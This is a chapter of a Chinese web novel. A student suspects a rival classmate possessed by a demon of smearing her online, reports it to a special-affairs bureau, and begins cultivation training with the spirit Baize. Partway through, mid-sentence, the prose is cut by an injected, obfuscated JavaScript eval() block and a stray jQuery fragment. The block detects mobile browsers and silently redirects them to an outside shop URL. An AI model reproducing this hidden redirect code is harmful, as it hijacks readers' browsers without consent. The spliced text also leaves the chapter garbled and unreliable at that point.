粉丝们被她猝不及防地开播和下播搞懵了,直到看到有人哀嚎他被白泽拉黑了,在那痛哭流涕求白泽原谅,他们才恍然大悟,随后背脊阵阵发凉,而后松了一口气。
还好还好,他们没有骂过主播,一直支持她,不然被拉黑的就是他们了。
而他们也终于摸清了点白泽的脾性。这主播不是一般的记仇,而且记性特别好。他们甚至提醒新粉,没事千万不要在白泽面前晃荡,被她记住了可不是什么好事。
当然,也有好事,那就是白泽的心愿簿。不过那个可以说是千军万马过独木桥,二十万里挑一,且看的是心愿,而不是网名,所以,可以忽略。
网络舆论虽然平息,但安随却不会轻易放过夏日懒洋洋,她去派出所报了警,而后才回了学校。
路上,安随在想着自己最近得罪了谁,对方是奔着把她捶死的目的去的,根本不打算放过她。
知道她基本信息的一定是她身边的人,要么是一个学校,要么是她的亲戚,但她的亲戚除了很久不联系的安家人,其他待她都挺好。安家人只是不管她,何况她姓安,更没有必要整死她。
这么看来,只有学校的人了。
但她平常在学校里很低调,除了宿舍的几个人,甚少和别人来往,想来想去也不知道是谁。
安随拍了拍脑袋,想着不会是白泽顶着她身体的时候得罪了人吧?
但她现在又不好再问白泽,于是只能问她的室友。
安随:“你们帮我想想,我最近在学校里是不是得罪了什么人?”
蒋栗看着,一副欲言又止的样子。
安随见状,心道果然有,这白泽不知道背着她干了多少得罪人的事。
安随:“你说吧,我受得住。”
蒋栗:“那天在食堂,我们和苏芸起了冲突,不知道会不会是她。呜呜,这事因我而起,都怪我太冲动了,给你惹麻烦了。”
“苏芸?”安随在脑海里回想着这个人,最终还是没想起来这是哪号人物。
宋知冉在一旁提醒:“栗栗的前男友岳初傍了个富婆,把栗栗甩了,他的新女友就是我们学校的风云人物苏芸。”
“哦。”安随还是没印象,但她不动声色,认真听着。
蒋栗继续控诉,撸起袖子,一副要去干架的样子:“我这就去把渣男约出来暴打一顿,这事肯定是他俩干的。”
宋知冉劝她冷静,并且也帮着分析:“岳初性格懦弱,畏手畏脚,我不觉得他能干出这种事,多半是苏芸干的,你约他出来也没用。”
“哼,要不是他,我们怎么会招惹上苏芸?不行,这口恶气我不出心里憋得难受。”
“冷静冷静,冲动是魔鬼啊,别给安安找麻烦。”宋知冉劝道。
“给他打电话吧。”安随道。
“安安??”宋知冉有些疑惑,这事一看就和岳初没什么关系,约他出来也没用。
“我这就打电话。”蒋栗气冲冲地拨通了岳初的电话,对方很快就接了起来,小声道:“怎么了?”
“你出来。”
“我有事,走不开,有什么事电话里说吧。”
“你出来我再说。”
“没事我挂了。”
“你敢挂电话试试?”蒋栗炸毛了,几乎跳了起来。
岳初叹了口气:“别闹了,我真有事。”
“什么事那么见不得人?”
安随见她说了半天没有半点进展,便拿过了蒋栗的手机,问岳初:“岳师兄,苏芸是不是生病了?”
电话里的人沉默了一会儿,良久才道:“是。”
“方便说一下吗?”
岳初便把经过说了一下。
苏芸前段时间摔断了腿,最近一直在家静养,岳初放学后便去照顾她,几乎当牛当马,照顾得无微不至,但苏芸却性情大变,原本只是有些娇纵,最近却变得暴虐,一个不顺便对岳初破口大骂,又掐又打,但他却不能还手,只能被动承受。
岳初是真有点怕她了,只想着等她腿好了就提分手。最近苏芸经常自己杵着拐杖外出,不让他陪同,回来以后虽然不骂他了,但眼神却像看一个陌生人一般,还神神叨叨的,看得岳初心里发毛,除了照顾她都起居,其他时间他都没和她呆一个屋子里。
今天晚上,独自呆在房间里的苏芸突然尖叫一声,他听到去敲门,却没人回应,后来他便撞开了房门,见苏芸仰躺在地上,嘴角留着鲜血,整个人昏迷不醒。
他连忙叫了救护车把她送到医院,现在都还在抢救。
他联系不上她的家人,正准备打苏氏集团的值班电话,蒋栗的电话便打过来了。
蒋栗听完冷笑一声:“你还真贱呐,她都这么对你了,你还死赖在她身边不走。”
岳初被她说得也有点恼了:“这和你没关系吧?我们已经分手了。”
蒋栗听完冷哼了两声,没再说话了。
这会安随几乎能确定对付她的人便是苏芸,只是障眼术是妖术,自然只有妖能施展,也就是说苏芸身边有个妖,而且很有可能已经占据了她的身体。
这么一来,她们便不能轻举妄动,若是妖怪恼羞成怒,毁了苏芸的身体,那就得不偿失了。
安随还想着让苏芸醒来全平台给她道歉呢。
回到宿舍以后,另外二人相继去洗漱,而安随点开了特事局的速音。
安随:“锦城人民医院有能量体出没,请派人前去探查。”
过了五分钟,特事局回复她:“收到。你怎么检测到的?”
对方并没有问她怎么知道能量体,而是直接问她如何检测,说明风眠他们已经向特事局说了她的情况,这样也好,免得她还费口舌去解释那么多。
安随:“猜的。”
特事局:“……”
特事局:“这种事不能儿戏,请认真回答。”
安随:“真是猜的,但请相信我说的,就凭我能从能量体手里全身而退。”
这句话发过去后,过了会儿才收到回复:“好。”
安随想了想,又问道:“他们三个人怎么样了?”
特事局:“还在昏迷。”
安随:“祝早日康复。”
特事局:“谢谢。”
安随把事情交待完后便退出了速音,宋知冉二人已经洗漱完毕,安随也洗漱完后便上了床,等着白泽召唤。
她不知道白泽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791546|187740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒了没有,不敢再喊他,所以只能等着白泽,反正他说的今天晚上开始让她修行,不会第一天就放她鸽子吧。
安随等啊等,等到室友都睡着了,等到她眼皮子开始打架,手机也不看了,却仍然没有听到白泽的召唤。
第二天,安随拖着疲惫的身体去上课了。
就不能惯着他,再惯她就是狗!
安随一早上都哈欠连天,但她坐在最后一排,还不是那么显眼。一旁的宋知冉有些担忧地问:“安安,你昨晚几点睡的?”
安随也不记得了,只记得自己醒来的时候天已经亮了,手机还在旁边放着。
“中午你多午休一会儿,补补觉。”
“好。”
安随非常艰难地听了上午的课,中午吃饭的时候也没什么胃口,吃完便匆匆去宿舍补觉。
安随今天第一天上课,但好在没什么人打扰她,偶尔有人热情地和她打招呼,她都一一回应,脸都笑僵了。
这会儿不用面对那些人,回去以后几乎倒头就睡。
困死她了。
平安度过一天,时间又到了晚上。
十二点的时候,白泽叫醒了她。
“起床修行了。”
安随双眼紧闭着,心神却跟着白泽进了一个空间。那里四周纯白,没有出入口,仿佛凭空造出来的一般。
一颗黑色妖核出现在安随面前:“现在,试着拿起这颗妖核。”
白泽没有出现,只有一个声音在脑海里响起。
安随闻言,便试着触碰它,那妖核一动不动,安随拿在手里,只觉得浑身冰凉,刺骨的寒冷冻得她下意识地就放开了妖核。
妖核依然悬在空中,仿佛刚才的一切没有发生过。
“什么感觉?”白泽问她。
“浑身冷,冷得我没办法思考,下意识地就把它扔出去了。”
“想要吸收妖核,你就必须适应它的特性,让它融入你的身体。”
安随闻言,咬牙再次去接触妖核。
再次拿起妖核,寒冷袭遍全身,就像从脚到头开始冰封,整个人坠入冰雪世界。
安随大脑失去了思考,身体失去知觉。但她依然把它握在手里,当肢体失去知觉,做的任何动作也感应不到。
现在的她灵魂与身体割离,整个人进入一种玄妙的状态,那种状态说不清楚,只能意会。
静止的空间里,安随盘腿坐在正中,她双目紧闭着,手中的妖核开始慢慢变小。
白泽将这里留给了安随,悄声地退了出去。
第二天有早课,平日里起得最早的安随,此刻却仍然熟睡着。
宋知冉洗漱完后见安随还在睡便去叫她,哪知却没有得到任何回应。
宋知冉连忙叫上蒋栗一起去看安随的反应,却见安随一动不动,双目紧闭着,丝毫没有醒来的迹象。
两人有些慌了,试探了下安随的鼻息,见她呼吸均匀,这才放心下来。
就在两人准备下床时,一只无毛尖嘴怪却突然从安随的被窝里钻了出来,在两人惊异的目光中,张开了嘴巴,发出一阵公鸡的打鸣声。
随后,她们便见还在熟睡的安随,突然睁开了眼。